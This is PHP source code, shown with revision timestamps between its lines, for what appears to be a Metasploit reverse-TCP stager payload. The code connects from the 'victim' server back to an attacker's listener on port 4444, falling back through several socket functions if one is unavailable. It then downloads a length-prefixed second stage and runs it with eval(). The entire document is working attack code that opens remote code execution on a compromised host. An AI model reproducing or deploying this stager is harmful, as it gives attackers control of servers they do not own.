2010-06-23 20:00:27 +00:00
|
|
|
#<?php
|
|
|
|
|
2010-07-27 21:16:15 +00:00
|
|
|
error_reporting(0);
|
2010-06-23 20:00:27 +00:00
|
|
|
# The payload handler overwrites this with the correct LHOST before sending
|
|
|
|
# it to the victim.
|
2010-07-27 21:16:15 +00:00
|
|
|
$ip = '127.0.0.1';
|
2010-06-23 20:00:27 +00:00
|
|
|
$port = 4444;
|
2012-01-31 07:11:55 +00:00
|
|
|
$ipf = AF_INET;
|
|
|
|
|
2010-07-27 21:16:15 +00:00
|
|
|
if (FALSE !== strpos($ip, ":")) {
|
2010-06-23 20:00:27 +00:00
|
|
|
# ipv6 requires brackets around the address
|
2010-07-27 21:16:15 +00:00
|
|
|
$ip = "[". $ip ."]";
|
2012-01-31 07:11:55 +00:00
|
|
|
$ipf = AF_INET6;
|
2010-06-23 20:00:27 +00:00
|
|
|
}
|
2010-07-27 21:16:15 +00:00
|
|
|
|
|
|
|
if (($f = 'stream_socket_client') && is_callable($f)) {
|
|
|
|
$s = $f("tcp://{$ip}:{$port}");
|
|
|
|
$s_type = 'stream';
|
|
|
|
} elseif (($f = 'fsockopen') && is_callable($f)) {
|
|
|
|
$s = $f($ip, $port);
|
|
|
|
$s_type = 'stream';
|
|
|
|
} elseif (($f = 'socket_create') && is_callable($f)) {
|
2012-01-31 07:11:55 +00:00
|
|
|
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
|
2010-07-27 21:16:15 +00:00
|
|
|
$res = @socket_connect($s, $ip, $port);
|
2010-06-23 20:00:27 +00:00
|
|
|
if (!$res) { die(); }
|
2010-07-27 21:16:15 +00:00
|
|
|
$s_type = 'socket';
|
2010-06-23 20:00:27 +00:00
|
|
|
} else {
|
2010-07-27 21:16:15 +00:00
|
|
|
die('no socket funcs');
|
2010-06-23 20:00:27 +00:00
|
|
|
}
|
2010-07-27 21:16:15 +00:00
|
|
|
if (!$s) { die('no socket'); }
|
2010-06-23 20:00:27 +00:00
|
|
|
|
2010-07-27 21:16:15 +00:00
|
|
|
switch ($s_type) {
|
|
|
|
case 'stream': $len = fread($s, 4); break;
|
|
|
|
case 'socket': $len = socket_read($s, 4); break;
|
2010-06-23 20:00:27 +00:00
|
|
|
}
|
|
|
|
if (!$len) {
|
|
|
|
# We failed on the main socket. There's no way to continue, so
|
|
|
|
# bail
|
|
|
|
die();
|
|
|
|
}
|
|
|
|
$a = unpack("Nlen", $len);
|
|
|
|
$len = $a['len'];
|
|
|
|
|
2010-07-27 21:16:15 +00:00
|
|
|
$b = '';
|
|
|
|
while (strlen($b) < $len) {
|
|
|
|
switch ($s_type) {
|
|
|
|
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
|
|
|
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
2010-06-23 20:00:27 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2010-07-27 21:16:15 +00:00
|
|
|
# Set up the socket for the main stage to use.
|
|
|
|
$GLOBALS['msgsock'] = $s;
|
|
|
|
$GLOBALS['msgsock_type'] = $s_type;
|
|
|
|
eval($b);
|
2010-06-23 20:00:27 +00:00
|
|
|
die();
|